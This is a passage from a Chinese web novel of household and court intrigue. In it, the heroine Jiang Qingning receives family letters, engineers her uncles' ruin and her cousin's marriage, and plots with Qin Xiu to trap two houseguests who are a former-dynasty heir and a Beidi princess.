青之抱臂,啧啧称奇:“不枉咱们这些时日,不辞辛劳,日夜不休地寻找奉国公造反的把柄,只要将太子一党彻底铲除,报了姜二小姐的一箭之仇,没准咱们秦国公府就有世子夫人了。” 秦休回头看了他一眼,口是心非地训斥:“聒噪。” 青冥眼露嘲讽,看着青之,就像在说:让你多嘴,活该。 宁阁。 姜清晞带着张嬷嬷等候在府门外,姜清宁在紫苏的提醒下,快步走下马车,上前握住两人的手。 “怎的在这里等着,可是府中出了什么事情?” 姜清晞严峻的神情消失不见,瞬间转变为满脸的笑容,从身后拿出厚厚一沓的信封。 “阿姐,岭南的家书来了!” 姜清宁一怔,随即赶忙接过,在看清楚未拆封信封上面的家书二字,鼻尖酸涩,眼眶瞬间红了。 “好、好、回来就好,能看到就好。” “阿姐快别哭,忍住,我可就专门等阿姐回来,一起拆家书呢,不用猜就知道,父亲母亲肯定有两页纸是用来骂我的!” 姜清晞抱臂,满脸的骄傲,引得姜清宁破涕为笑。 她开心道:“好,那就赶快回府,咱们把这信封给拆了!” 几人欢欢喜喜的抬步走进宁阁的大门,一路上欢声笑语地回到后院。 一个时辰之后,姜清宁坐在圆桌前,仔仔细细将家书看了一遍又一遍,才将视线转移到院里堆放的箱笼上面。 姜清宁起身,一一拂过,原本日夜忧虑的心情,此时此刻终于安稳下来。 心中解释了为什么信件这么晚来的原因,岭南外几百里的地方爆发匪患,于是大哥姜清淮亲自带兵护送,将他们送出了几百里顺便剿了匪患。 “不愧是大哥,果真英武不凡,要我说啊,这京城中的贵公子哥们好是好,就是太过虚荣瘦弱了些。” “男子啊,还是要大哥这样的才好,处处充满着男子气概,血气方刚,正是我朝男儿的典范!” 姜清宁听着她的话,脑海中不由自主的,浮现出去秦休的模样。 他……总是不太同的。 “阿姐?阿姐?你在想什么啊?” 姜清晞疑惑地抬头,看向喊了好多声,都在出神的阿姐,翻看着面前的数个箱笼,“父亲母亲和大哥好生偏心,这里面只有一个箱子是我的日常衣物首饰,其他全部都是他们给阿姐的东西。” “我不管,父亲母亲和大哥缺给我的,阿姐全部都要一一地补给我!” “好,全部都补给你,晞儿想要什么宝贝,阿姐都会满足你。” 姜清宁回神,抚摸着姜清晞的头发,心中的温暖遍及全身。 “我就知道阿姐对我最好了,不像大哥整整写了三页书信骂我,还让我等着挨罚。” 姜清晞骄纵地轻哼一声,心中却不是这么想。 她之所以这么说,只是不想让姜清宁回忆起从前分离的痛苦。 “阿姐到时候可一定要帮我,不能真的让我被大哥惩罚了。” “好……” …… 第九十一章计谋 半月后,姜清宁自从收到了岭南的家书,心底的大石块早已经完全落地,丝毫没有从前过分忧虑的心情出现。 福满斋。 姜清宁处理着堆积的账务,看着账本中数不尽的钱财,面上尽是一片淡然之色。 她已经成为京城的首富,对于这些钱财只觉得是取之不尽用之不竭的东西,除此之外早已没有赚了第一桶金时候的喜悦。 张嬷嬷的伤已经养好,她从长廊走过,敲响房门之后,端着羹汤走进来。 “东家先歇歇吧,这整个东大街的账本都被送到了这里,您一时半会儿也是看不完的,仔细伤了眼睛。” 姜清宁闻言放下账本,揉了揉额角:“嬷嬷放心吧,我有分寸的。” 她含笑抬头,端起羹汤喝了起来。 “近日姜府可有动向?”姜清宁回忆起,不由得询问。 “让大小姐操心了,姜府如今的确有动静,不过是二房和三房的老爷的动静最大,他们正在闹着要分家。”张嬷嬷的眼中划过快意。 “哦?分家?”姜清宁眉眼微闪,“让鸿运赌坊和千金楼加把劲儿,把这团火烧得越大越好。” 现如今家书上面确确实实地写着,他们一家五口距离相聚的时间,不会间隔太远,姜清宁迫不及待地想要把姜家最后的祖宅收回来。 “不过姜松岩不是一向以姜柏舟马首是瞻吗?现在怎么会闹着要分家?”姜清宁好奇地询问,“难不成还有什么事情?” “大小姐聪慧。”张嬷嬷含笑,跪坐在她的身边,抬手打着蒲扇,“姜如意如今怀有三月半的身孕,胎像稳固,数位大夫把脉都说是男胎,已经被安平伯老夫人当祖宗供起来了。” “二老爷对于此事,将从前的矛盾全部放下,仿佛两月前闹的难堪的不是他们一样,原本三老爷是依旧保持态度的。” “可是平江侯府的三公子,目前在和家中长辈对峙,缘由就是对他们找的未婚妻不满意,直言说对三房的姜月柔小姐一见钟情,想要与她成婚。” “平江侯夫人是个嘴不把门的,这几日与牌友们吐槽几句说漏了嘴,这件事就从京城中流传来了,三房听到此事顿时硬气起来了。” “毕竟……侯府与伯府,明眼人都能分出高低贵贱之分的。” 姜清宁眼中眸光流转,点子瞬间从心头浮现,对于姜月柔她倒是有不少的印象,从前姜如意处处针对的时候。 姜月柔在被她以为也是想要抢夺嫁妆的时候,反而给她出法子护住嫁妆,并且认为她过得清贫,时长接济。 “如今我和她竟然是调转了身份,一个自由一个深陷囹圄,她定然极为想要摆脱姜家的,平江侯府她绝对不会错过这个机会。” 张嬷嬷诧异姜清宁的好心,犹豫道:“东家的意思是……” 姜清宁轻笑一声:“我就帮她渡过难关成功出嫁,平江侯手握兵权,这可是一个结交的好机会,满足了他嫡子的心愿,再让姜月柔不失体面的出嫁,与姜家断绝关系。” “断尾求生……东家您要成为月柔小姐的后盾?” “不,是报恩。”姜清宁勾唇,对张嬷嬷招手。 后者得到示意,倾耳过去,“嬷嬷,你这样……” 张嬷嬷双眼逐渐发亮,神情迫不及待起来。 三日之后,姜府闹出了京城阔别两月后,更大的一个笑话。 姜柏舟和姜松岩作为姜家仅剩在京的二房三房的家主,同时被鸿运赌坊和千金楼的打手堵在家门口要债。 姜柏舟要姜松岩手中的房产抵债,姜松岩不依,反而说他是兄长应该大度的出手帮助,两人你一言我一语直接在姜府外面打了起来。 而后大闹一场分了家,被迫上缴同等价值的铺子和庄子的契的时候,姜柏舟对姜松岩冷嘲热讽,被上门来提亲的平江侯府的大夫人看了个正着。 平江侯夫人毫不犹豫地就带着彩礼,与媒婆一起打道回府,丝毫不搭理姜松岩的苦苦哀求,只道了句:“姜家家宅不宁,平江侯府撑不起亲家二字。” 姜松岩狼狈的跌坐在地,被姜柏舟狠狠嘲讽,他们二人将对方打得都头破血流,当晚姜月柔就踩着凳子上了吊。 好在被心中不安稳,来劝女儿的三夫人碰了个正着,手忙脚乱地将女儿救下来之后,大哭一场天亮就把娘家人喊来与姜松岩和离。 姜松岩耐不住全是武将的大舅哥,在被痛打一场后‘心甘情愿’地签下和离书,三夫人带着女儿和嫁妆浩浩荡荡的回了娘家。 姜松岩和同样学到他好赌精髓的儿子,看着空荡荡的三房,心中悔之晚矣,父子俩却结伴再次前往赌坊。 宁阁。 “清宁,当年三伯母并未对你出手相助,可你如今却愿意为了月柔费心周旋,即便与平江侯府的婚事成不了,伯母全家依旧感激你。” 三夫人拉着脸色苍白,脖颈上红痕触目惊心的姜月柔,对着姜清宁就是行礼道谢。 “您快被客气了,月柔当年对我诸多相助,自然有您的纵容在内,姜家如今就是一副软烂腐朽的空壳子,早些逃离对您和月柔都好。” 三夫人满脸感激,连声点头。 她虽然整日只知道哭自己的悲哀,但在亲眼见到女儿先写吊死的时候,还是觉醒了母性的力量,现在唯一的懊悔就是没能早些和离,将女儿养得更活泼一些。 姜月柔和姜清宁对视一眼,她侧眸对三夫人道:“母亲,已经送礼致谢了,您先随着舅舅们回去吧,我想要与清宁小住几日叙叙话。” “好,你想回家了只管让下人通知一声,不要劳烦清宁派人送。” 三夫人嘱托几句,擦着眼泪带着哥哥们离开。 姜月柔和姜清宁再次对上视线,她起身走到姜清宁的面前,砰的一声跪下。 “多谢你的救命之恩,我知道如今这一跪算不得什么,但对我来说却宛如新生。” “你想要的那些我心里明清得很,大可放心,往后你我就是最坚实的盟友。” 第九十二章宁可错杀 十日后,平江侯府再次下聘,这次却是直奔城南的商府,浩浩荡荡地去向姜月柔提亲。 “婚期就定在两月后的十二号,虽然赶了些,但这是他和我只见共同的意思。” 姜月柔一改往日的清冷,穿着一身粉色的衣裙,发上的金镶玉步摇微微晃动,眼中带着温柔,一看就被商府养得极好。 姜清宁眼中带着笑意,接过她递来的剥好的干果,眉眼含笑的模样,带动姜月柔的情绪。 “我的婚事算是定下了,那你的呢?你不嫁了吗?” 姜月柔声音温柔,带着一丝调侃的开口,望着姜清宁微顿的动作,眼中调侃的意味更深了。 “我不懂你在说什么,我现如今不过是做点小生意,全心全意的为姜家大房的未来谋条出路,可没有这么快成婚的打算。” 姜清宁将干果放在碟子里,端起一旁的茶盏,抿唇浅浅地饮了口茶水。 “我倒是听说隔壁的秦国公府的秦世子,风光霁月,身份尊贵,倒是满心都是你的存在。” “有些事情就如天上的浮云,说不定哪天就散了开来,不过是男子口中随口的话语罢了,当不得真的。” “认真了的话,你就输了。” 姜清宁淡笑,眉眼间尽是清冷,毫不介意将心事说给她听。 姜月柔试探道:“那你就对他没有丝毫的心思?” “没有,我有自己的事情要做,哪有心情做这些。”姜清宁轻笑一声,望向她道,“既然你已经拿住林升的心,那我便和你做个交易,如何?” 姜月柔颔首:“求之不得。” 只有更深的利益牵扯,才能让她真的放心,不被姜清宁所轻易放弃,现在眼前的一切实在是太过美好,让她不想要失去。 二人在前厅商谈大半个时辰,直到日头升起来,才起身前往饭厅用饭。 姜清晞好奇地看着对面的姜月柔,后者对她温柔一笑:“这个是小妹吧,倒是长得这么大了,可是要及笄了?” 姜清晞对温柔的女子很有好感,她看了眼姜清宁,见她淡定地用膳,于是大胆地回应:“还有三个月。” “那姐姐可要好生给你准备一份礼物。”姜月柔含笑,看向姜清宁,“你打算怎么给小妹办及笄礼?” 她意有所指,现如今京城之中,姜家四分五裂。 大房的长辈们又全部远在岭南,祖母年岁大了在京郊外的庄子上修养,已经快有一年没人敢去打搅了。 “是要有一位身份尊贵的长辈,亲自主持及笄礼才行。” 姜清宁轻声附和,对她的话供认不讳。 姜清晞敏锐地察觉到氛围不对,毫不在意道:“及笄礼不就是穿着好看的衣裙,带着漂亮华贵的首饰,然后被人观赏吗,我才不乐意举办呢。” “咱们人少有咱们人少的做法,请几个认识的朋友聚一聚,便就当着及笄礼成了。” 姜清宁抬手揉了揉她的头发,失笑道:“人小鬼大,放心吧,阿姐不会少了你的及笄礼的。” 她又看向姜月柔:“届时若是寻不到人,还请平江侯府的三少夫人,帮我们请一请你的外祖母或是婆母,毕竟如今看来你倒是最靠谱的。” “那是自然,必定不会让咱们姜家嫡出一脉,最小的妹妹失了面子的。” 姜月柔轻声应答,这几日跟着母亲学习主母的规矩,已经有了当家做主的雏形。 三人说说笑笑地用膳,饭后一起坐在花厅谈笑。 紫苏快步走入,行礼道:“大小姐,前院有动静了。” 姜清宁眉眼微动,眼中带着了然的神情,放下手中的账本道:“如今看来,到底是憋不住了。” 这三四个月过去,她还以为前院的那三个人,是要彻底的当缩头乌龟了,没想到竟然是一直在蓄势待发。 “你们现在这里玩着,我去书房忙些事务。” 姜清晞和姜月柔默契地点头,望着她离开的背影,姜月柔看向身旁人:“阿姐一向如此繁忙吗?” 姜清晞心中警惕,面上却是挂着笑意:“阿姐养着偌大的宁阁,上下几十口人,自然是很忙的,尤其是处理一些判主的奴仆,最是手到擒来。” 姜月柔了然地点头,肯定她的话道:“这点我倒是要和阿姐学一学,毕竟……平江侯府还不知道是什么日子。” 姜清晞话中的警醒她非常明白,故而只是装作不懂的点头,一副要吸取经验的模样。 “你也是可怜,想不通做什么深宅贵妇人,还不如做个潇洒自在的女侠,惩恶扬善,济世救人!” “你的志向是好的,但从小在京城长大,养在深闺人未识,没有你这样的眼界。” “我如今能够嫁入平江侯府,便已经是三世修来的福分。” 姜月柔眉眼中满是坚定,她从第一眼见到林升眼中的惊艳与呆愣之时,就已经在想着要如何融入林升的心里了,好在他是个从未有过女人的人,在最是容易动情的年纪二人相遇。 书房。 姜清宁拿过桌面上的信纸,拿起狼毫笔沾了墨,在信纸上快速地写着消息,而后仔细查看确认无差之后。 她将信纸折起来,小心地放入信封里,并且烤上火漆。 “待会儿你亲手经过青之,把这封信……交给秦休,途中不要经任何人的手,一定要确保秦休拿到这封信。” 姜清宁神色认真地叮嘱,紫苏坚定地点头:“大小姐放心吧,奴婢一定会办好的!” 张嬷嬷皱眉道:“只是如今凭借着咱们这些时日,查到的一些蛛丝马迹,是否确认的有些为时尚早?” 姜清宁摇头:“八九不离十了,这个傅叔的身份已经能够确认,前朝老臣,心甘情愿地被流放,最后几经辗转落脚一处偏僻的村落,不娶妻不生子的照顾教养旁人的儿子。” “那自然是他们有所图谋,有独特的目的,才会如此行事。” “他们三人每个人的身份都存疑,尤其是卫斋,出现的时机太过于巧合,一切的一切就像是提前规划好似的。” “总之,宁可错杀一百,不可放过一个。” 第九十三章一切都好 深夜。 姜清宁坐在书案后,目光略过跳跃的烛火,投过书房外浓得化不开的沉沉夜色。 卫斋,老傅,温子怡,这三位如同投入这潭死水的石子,搅动起难以言喻的暗流。 “大小姐,该歇息了,您若是有事可等明日再谈啊。” 紫苏添了新烛火,望着窗外的夜色,抬手将支窗落了下来。 姜清宁摇头:“不,我想不通,派出去调查的人手可有消息了?” 她白日里给秦休去信,说起家中这三人的古怪,以及温子怡夜间说话,偶尔不经意间露出的北方口音,这让她不得不怀疑他们的真实身份。 于是月前,她就派了一支商队前往卫斋的老家,去调查他们的底细,结果顺藤摸瓜却得到一个令人震惊的消息。 “大小姐可是在忧心他们会影响到咱们吗?”紫苏乖巧地站在她的身旁,微微蹙眉道,“只是秦大人已经会信,说他会解决着手调查此事的。” “不,告知秦休……只是为了洗脱我们的嫌疑。” “虽然说秦休不会怀疑我们,但难免旁人不会,我的身后还有一堆虎视眈眈的亲族与对手,更是不能出错分毫。” “卫斋表面是沉默内敛的书生,眼神深处藏着的不甘却让人胆寒,怪不得是那个人的儿子。” 姜清宁沉声道:“老傅看似老迈病弱行动迟缓,眼神却锐利的能穿透人心,还有温子怡,举手投足间刻意的没见过世面的举动,以及偶尔望向卫斋绝非爱慕的复杂眼神,都让人锋芒在背。” “这样的威胁,一天不除去,一天让人难以安生。” 更何况,与秦休合作,这是能让她直接接触皇权,得到皇室青睐的跳板。 不靠男人,自己创造机会,不能成为良才,那就成为‘助力’。 秦国公府。 书房之中。 秦休从紫檀木匣中取出一张薄如蝉翼的信纸,望着上面一笔一划的字,嘴角逐渐浮现出浅笑。 他甚至能够想到姜清宁写这字时候的认真,浓密眼睫上投下的阴影。 “家中前些时日收留三位客人,卫姓书生与其师,并一温姓女子,三人行止似有古怪,卫生与其师深夜常有密语,音调低沉似有暗号,温女看似纯善,然对京中权贵门第,府邸规制偶有言及,颇为熟稔不似寻常农女,清宁留心已久不敢妄断,然心中难安特告君知。” 特告君知…… 秦休将信纸抚在心口,唇角缓缓勾起一抹笑容。 …… 宁阁,暖风带着庭院里盛放的槐花甜香,慵懒地拂过雕花的窗户。 姜清宁在书案前执笔,给远在郊外庄子上的那位不问世事的祖母写信,语气平和地叙述着姜家的近日琐碎。 窗外的日光透过碧纱筛进来,在她素净的衣料上投下斑驳的光影。 紫苏蹦蹦跳跳地走入,眉眼带着满意的笑容:“大小姐,秦大人来信了。” 姜清宁闻言飞快地放下手中的毛笔,绕过案桌,快步走到紫苏面前接过。 她打开手中的信封,上面只有一行锋锐的小字,是秦休特有的笔迹: “明日巳时,城南十里亭,风荷初绽,可共赏否?” 姜清宁的指尖捻过这几个字,唇边掠过一道极淡的弧度。 饵已经放出,鱼果然咬钩了。 秦休的动作,倒是比她预想的还要快上几分。 翌日,巳时初刻。 城南十里亭临水而建,此时节亭子四周是新绿的柳树,亭外那片不大的荷塘里,荷叶刚刚舒展开巴掌大的新绿,远不到花开的时候,但倒是别有一番景象。 坐落在管道旁,距离南城门正好十里,春日暖阳已有些灼人,管道上车马扬起的微尘在光柱里浮动。 姜清宁换了一身水绿色的夏衫,外罩一层极薄的素纱披帛,头上簪着几支玉簪,打扮得清爽宜人,如同寻常踏青的闺秀。 她带着紫苏在亭中石凳上坐着,紫苏取出来餐盒,摆上几样精致的点心和一壶清茶,姜月柔面对而坐。 姜清晞是个闲不住的,顿时拿了准备好的风筝带着丫鬟们去放。 “小心些,莫要靠近水边了。”姜清宁不放心地嘱托。 “阿姐放心吧,我绝不会碰水的!” 姜清晞欢快地回头,鹅黄色的衣摆随风飘扬,正是十四五岁少女最美好欢快的年纪。 姜月柔艳羡地开口:“真羡慕你,还能有个活泼的妹妹,不像我只有个亲生的弟弟,却是个将父亲脾性学了个十成十的。” “到底是不成器的男人,你若是心软日后想要帮衬,那就趁早做好日后婆家家宅不宁的打算。” 姜清宁眉头微挑,毫不客气地直言相对。 姜月柔无奈摇头:“你啊,如今说话惯是得理不饶人的,我说不过你,可他到底是我的亲生弟弟……” “往后若是真被剁了手脚,或是债主追上门,我到底是要给他一副草席裹着的,总不能让人说我心狠。” 紫苏愣住,亲弟弟都要被杀了,她只给个草席难不成还是仁善? 姜清宁满意一笑:“你是聪明的,知道男人靠不住。” “我自然知道,你就是我眼前最好的例子……”姜月柔摇着团扇,淡定地喝茶,想到自己说的什么话。 她抬眸对上姜清宁似笑非笑的双眸,连忙讨饶:“好姐姐,你就饶了我吧,我到底是年纪小不会说话的,这不正在跟姐姐学着呢吗?” “你瞧,那是谁来了?” 姜清宁刚要开口训斥,姜月柔抬手指着一处,仿佛看到就行一般,她好看的杏眸弯弯:“你自己坐在这里玩吧,我去找小妹放风筝了。” 话音落下,她放下团扇,提着裙摆向姜清晞跑过去,两人很快完成一片。 姜清宁循着清脆的马蹄声望去,几匹高头骏马由远及近,为首一人玄衣墨发,身姿挺拔如松,正是她在等待的秦休。 一行人策马而来,停在凉亭之外,忽视周遭探究的目光,秦休翻身下马,动作利落矫健。 他目光扫过,落在姜清宁的身上,朗声道:“几日未见,身子可好?” 姜清宁起身,微微福了一礼,面上浮现得体的浅笑,声音温婉:“劳烦秦大人挂念,一切都好。” 第九十四章姜清宁,你想要吗 秦休走到她的面前,两人心照不宣的面对而坐,紫苏在一旁斟了两杯茶后,悄无声息地退到亭子另一角。。 秦休端起茶盏,修长的手指摩挲着温润的瓷壁,他抬眸,目光如同实质般落在姜清宁的脸上,不再有丝毫的迂回。 姜清宁心底诧异秦休的转变,敛眸低垂着头,沉默地表达着自己的抗拒。 秦休轻笑一声,开门见山,声音压得极低,却字字清晰如冰珠落玉盘: “你信中所疑三人,已查清。” 他微微倾身,每一个字都带着千钧的分量:“那老者名为傅伯谦,前朝隆庆帝时,官拜太子太傅。” 姜清宁端着茶盏的手急不可查地一紧,指节微微泛白,脸上适时地浮现出恰到好处的惊愕,秀气的眉尖蹙起,低声道:“太子太傅,前朝……余孽?” 她的语气带着难以置信的探寻,似乎根本没想到,事情会以这种情况发展下去。 秦休的目光在她的脸上停留一瞬,似乎要透过那层薄薄的惊疑,探究到姜清宁内心深处的真情实感。 他继续道,声音更沉:“其主事前朝身死的太子陆承嗣,死于宫变,其怀有身孕的良娣被心腹拼死护送出宫,流落民间。” 秦休顿了顿,语速放缓,一字一顿地吐出那个名字:“卫斋,便是那个遗腹子。” “他在民间出生之后,随母姓改为卫,且卫良娣月份浅又自毁容貌,故而没被人搜寻到。” “什么?!”姜清宁手中的茶盏猛地一晃,几滴滚烫的茶水溅出,落在她白皙的手背上,瞬间烫出一点红痕。 她似乎毫无所觉,脸色在刹那间褪去血色,显出震惊过度的苍白,清凉的眸子瞪得极大,里面是纯粹且毫无作为的骇然与茫然。 “这可是真的?”姜清宁不可置信地复问。 “不会有错。”秦休眼眸微眯,冷静地审视着她。 姜清宁倒抽一口冷气,身体微微后仰,仿佛被这惊天的秘密冲击得坐不稳,声音都带着颤抖: “他……他竟然是……前朝太子的血脉?这怎么可能呢,他明明只是个落第书生才对啊……” 秦休静静地看着姜清宁,没有错过她眼中那瞬间凝固的骇然,以及血色褪尽后的苍白。 他颔首:“傅伯谦当年自请流放,实为金蝉脱壳,他寻到卫良娣之后隐姓埋名,与她一同将卫斋抚养成人。” “二十余年,傅伯谦看似远离朝堂,实则与其旧部暗通款曲,对京城风云了如指掌。” “他们能够蛰伏至今,眼前皇权倾颓,奉国公府只手遮天,外有强敌觊觎,内里党争倾轧,他们便认定复辟旧朝的时机到了。” “眼下唯一不确定的,就是如今朝堂之中这些前朝老臣里,在步步为营,企图与傅伯谦颠覆皇朝的人是谁。“ 姜清宁像是被抽干了力气,指尖深深地掐进了掌心,用那细微的刺痛强迫自己冷静下来。 秦休将她的举动尽收眼底,抬手从怀中掏出药膏,打开后抓住她的手腕往面前放,抬手拂开紧紧攥住的手指。 “不必担心,我是站在你这一边的。”秦休表明立场。 姜清宁微不可察地松了口气,感受着冰凉的药膏被均匀涂抹到手上,声音中带着劫后余生的虚弱和后怕:“我到底是一个女子,面对这种把前朝余孽往家里无知引的事情,还是感到害怕的,这才去信给你。” “我都知道。”秦休一顿,抬眼和她对视,勾唇道,“我能否认为,你这是在第一时间,想起的是我?” 姜清宁诚恳地点头,没错,秦休是她第一个想到的,最有实力的大冤种。 “那温姑娘呢?她总是普通的民女了吧?” 姜清宁似乎想起她,将目光投向秦休,带着最后一丝侥幸的探寻。 秦休涂好药膏,听到这话嘴角勾起一抹冷酷的弧度,笑意森然,未达眼底:“她?” “她更非池中之物,温子怡?呵,她的真名是阿史那云依,北狄王庭十年前那场内乱中应该死去的长公主。” “什么?北狄长公主?”姜清宁豁然起身,带翻了手边的茶盏,青瓷小盏滚落石桌,‘啪’的一声摔得粉碎。 清亮的茶水溅湿了她的裙角,姜清宁身体晃了晃,匪夷所思地开口:“敌国的长公主,天啊,我这是都干了什么好事?那她接近卫斋是为了……” “灭国之仇,亡国之恨。”秦休声音冰冷,如同宣判,“她幼年流亡,对中原本就刻骨铭心,接近卫斋原本应当是无能为力之举,但如今恐怕是早已发现了卫斋的身份。” “她此时应当是想借着他前朝遗孤的身份作为跳板,或是给北狄旧部传递情报,又或是伺机筹备复国,可惜卫斋科举失利,断了她的捷径。” “你落水那一次,正好给了她一个绝佳的借口就在京城,暗中经营她的十里。”秦休目光如炬,扫过姜清宁失魂落魄的脸,“你猜得没错,宁阁之中如今卧着两条真正的毒龙,一条心怀复辟的孽蛟,还有一条蛰伏的敌国长公主。” “姜清宁,你这府邸,已经在所有人都不知情的时候,成为风暴之眼。” 这话无疑跟宣判她的宁阁,在之后会成为众矢之的一样。 姜清宁扶着石桌,指尖冰凉,她闭了闭眼,缓缓直起身。 “前朝余孽,帝国公主……都想在这风雨飘摇的京城里,搅动风云,火中取栗。” 她抬起眼,对上秦休深不见底的黑眸,其中翻涌着同样凛冽的寒光:“他们想要借着这浑水摸鱼,那我便送他们一把……最趁手的刀。” 秦休眉峰微挑,眼底略过一抹赞赏,他沉声道:“正合我意,刀自然要递到最渴求它、也最能嫌弃惊涛骇浪的人手上。” “温子怡。”姜清宁毫不犹豫,声如寒潭,“她是北狄长公主,自然身边少不了北狄暗探,对边境军防的渴望更是可在骨血里的。” “眼下就有一个绝佳的机会。” 秦休勾唇,挂着冷酷的弧度:“奉国公府嫡子林衡,奉旨督办接待北狄使团事宜,三日后,由北狄使臣亲自携带的边防舆图副本,将秘密送至林衡的手中由其暂时保管。” “这是一个好机会。” “姜清宁,你想要吗?” 第九十五章计谋成立 边防舆图? 姜清宁的瞳孔骤然紧缩,这件东西的重要性她想秦休不会不知道。 “这可是国之命门。”姜清宁猛地抬眼看向秦休,脱口而出道:“你以自身为饵,诱惑林衡接受此图?” “不行,此计太险!” 姜清宁毫不犹豫的开口拒绝,声音里是掩饰不住的急促。 然话一脱口而出,她变意识到自身的失态,她表达出的关切过于直白,会让秦休直接误会。 况且秦休还对她……姜清宁艰难的咽下要继续说的话,浓密的睫毛如蝶翼般不安的乱颤,硬生生的止住了话茬。 “那又如何?” 秦休那双深邃的双眸瞬间锁定了她,眼中亮起一抹奇异的光彩,带着明显至极的欣喜。 “姜清宁,你这是在表达对我的在意吗?” 秦休喉间逸出轻笑,他向前倾身,两人之间的距离骤然间缩短,近的姜清宁能够清晰的感受到他身上的压迫感。 “姜清宁。”秦休二次唤她,不再是方才客气的语气,“回答我,你放才…是在担心我?” 这语气带着三分探究,七分笃定,如同投入湖心的世子,在姜清宁刻意维持的平静表象下激起层层涟漪。 她猛地抬眼,眸中是掌握一切的清明:“我只是觉得,你为了一个随口而出的承诺,肆意的将自己置身于险地之中,这是对自己安全的不负责任。” “秦休,我不支持你这么做。” 姜清宁皱眉,坚定不已的看向他,似乎是极其不赞同这个决定,才会心绪紊乱,而非因为某人。 “果真?”秦休狐疑的询问。 “秦大人想多了,清宁担心的,是这盘棋的胜负,一着不慎,满盘皆输。” “既然你已经知晓真相,我自然相信你不会将小妹的事情揭发出去,林衡固然死不足惜,但若是因他坏了大事致使家国易主,岂非得不偿失?” 她下颌紧绷,带着不容置疑的疏离与强硬,“大人若是执意行险,也请务必确保万无一失,毕竟你我如今,算是待在一条船上。” 姜清宁用这番话成功的撇清两人之间的关系,将一切拉回她来时预计的结果之上。 秦休深深的看了她一眼,目光依旧深邃,但却少了几分试探。 姜清宁的话让他不再纠缠于此,秦休的声音恢复平日的沉稳:“三日后,撷芳园,舆图会在戌时三刻交给林衡,他此人骄矜自大且急于在太子面前表现,届时必定会亲自检验,温子怡那边……” “府中之事交给我。”姜清宁点头,“我会让她无意间知晓这个消息,并且给她制造一个千载难逢的机会,这些事情我自由安排,大人只需要确保撷芳园那边,等待着她的是真正的天罗地网。” “此人唯有有去无回,且人赃并获,才是真正的证据确凿。” 秦休浅笑:“只要她踏入撷芳园,便是她通敌叛国的死症,届时认证无证举在,她北狄长公主的身份大白于天下,林衡难逃失职重罪,甚至有勾结敌国之嫌。” 姜清宁眼中染上一丝玩味,轻笑道:“此案一发,震动朝野,奉国公府与东宫,乃至中宫,都必受重创。” “贵妃娘娘宠冠六宫,若是中宫失势必由贵妃娘娘上位,秦大人当真是好计谋,不然说我们是同盟呢,这可是互相得利的好事。” 秦休一愣,无奈失笑:“姜清宁,你当真是不给自己一丝一毫欠我的机会。” “秦大人过奖,时辰不早了,清宁先行告退了。”姜清宁不在多言,微微颔首,“紫苏,我们走吧。” 紫苏立刻应声,手脚麻利地收拾好适合餐具,主仆二人走出亭子,姜清晞两人已经在马车旁等候。 她们登上不远处的马车,车帘落下,隔绝了秦休深邃的目光。 马车沿着官道向城内而去,车厢内,姜清宁靠在软垫上闭目养神,周围的两人对视一眼默契的没有开口。 姜清宁方才在秦休面前刻意表演出的震惊失态等情绪,此刻如同潮水般退去,只剩下无尽的冷静。 “呵…”姜清宁没忍住笑出声,睁开双眸对上两边人疑惑的目光。 姜清晞懵懂道:“阿姐,你是想到什么有趣的事情了吗?不若说给我听一听?” 姜月柔没说话,但也是同样的态度,好奇的看着姜清宁的反应,心痒难耐。 姜清宁摇头,“没什么,不过是方才在想,府中的下人的确是少了一些罢了。” 她的府中不仅藏着前朝的遗孤,更窝藏着一头时刻觊觎着中原边疆,流淌着敌国血液的母狼。 可秦休的计划更加狠辣直接,若是能成功便是一举多得,但年幼的温子怡能够从灭国后活到至今,绝非能够轻易哄骗之辈。 如何能够让她顺理成章地得知这个消息,并且深信不疑地冒险去盗图,还是需要好生的筹谋一番。 “宁阁的下人不少了,不过有勇有谋,又能出计策的少才对,这找下人而非寻能人异士。” 姜月柔摇头道:“还是需要细心的甄选才是。” 姜清宁回神,眼神转到姜月柔的身上,就在小半月前她还是一个沉默寡言的人,眉宇间总笼着一层挥之不去的郁色,现在却性格活泼开朗不少。 “你说得对,的确是急不得。”姜清宁随口应道,目光落在她手中的绣棚上,“这蝴蝶的翅膀,针法可以更灵动些,回去让紫苏去库房里找出那本前朝顾绣的册子出来给你,里面应当能够寻到些巧思。” “谢谢大姐姐。”姜月柔低声道谢,声音中开心。 姜清宁看着她垂眸微微颤抖的睫毛,心中那抹模糊的念头瞬间清晰起来。 姜月柔,或许就是那枚最合适的棋子。 她如今的身份虽然是姜家三小姐,但如今却明面上只算是寄居宁阁,但在府中走动名正言顺,更重要的事是姜月柔现在一心想要成为她的人。 况且,她与温子怡并无直接冲突,甚至她柔弱的外表作祟下,或许更能让温子怡放下戒备? 第九十六章设计陷害 自从三伯母带着她和离,与平江侯府订婚后,姜月柔看似表面收敛了情绪安心待嫁,但姜清宁从未小觑过她。 姜月柔的心机,不在争强斗狠,而在审时度势和为自己谋利之上,她寄居宁阁看似依附于自己这个对她出手相助的长姐,实则未尝不是一种蛰伏。 她不会害自己,这点姜清宁基本可以确定,但她的心机意味着她善于观察,也善于抓住机会。 马车在宁阁大门停下,姜清宁走下马车,姜月柔和姜清晞跟在身后,三人向府内走去。 “月柔。”姜清宁脸上浮现笑意,声音放得更加柔缓了些,“我需要你的帮助。” 姜月柔穿着一身水粉色的新裁夏衫,发间簪着一支精巧的珍珠步摇,衬得脸色娇嫩,容颜更显靓丽。 “大姐姐请讲。”姜月柔眼眸一亮,非常欣喜。 “城西撷芳园有荷会,请了有名的戏班子唱折子戏,你整日闷在府里也不是办法,不如随我去散散心?” 姜月柔猛地抬起头,迟疑道:“撷芳园……那不是奉国公府的产业吗?林小公爷正在向大姐姐是好,你若是此时去可非?” “当然不是这个意思。”姜清宁微微停顿,倾身声音压低,“三日后撷芳园有一场私宴,名义上是款待北地客商,实则是太子那边有极其重要的东西,需要经由林衡的手交接。” “具体是什么我们都不甚清楚,只隐约听说是关乎北疆边防的紧要物件,由北狄时辰亲自带来,若非此事事关重大,秦大人也不会特意提醒我近日不要出城,尤其…是…尽量避开城西撷芳园一带。” 她的声音点到即止,姜月柔却是懂了,“大姐姐需要我做什么?” 姜清宁轻笑:“我又有什么需要你去做的呢?这等消息本不是我等闺阁女子该操心的,月柔,听大姐姐一句,这几日好生待在福利,莫要此处走动,尤其离城西远些。” “是,妹妹知道了。”姜月柔眼中闪过了然,乖巧地应声。 “那我呢?阿姐就没什么能够嘱托我的?” 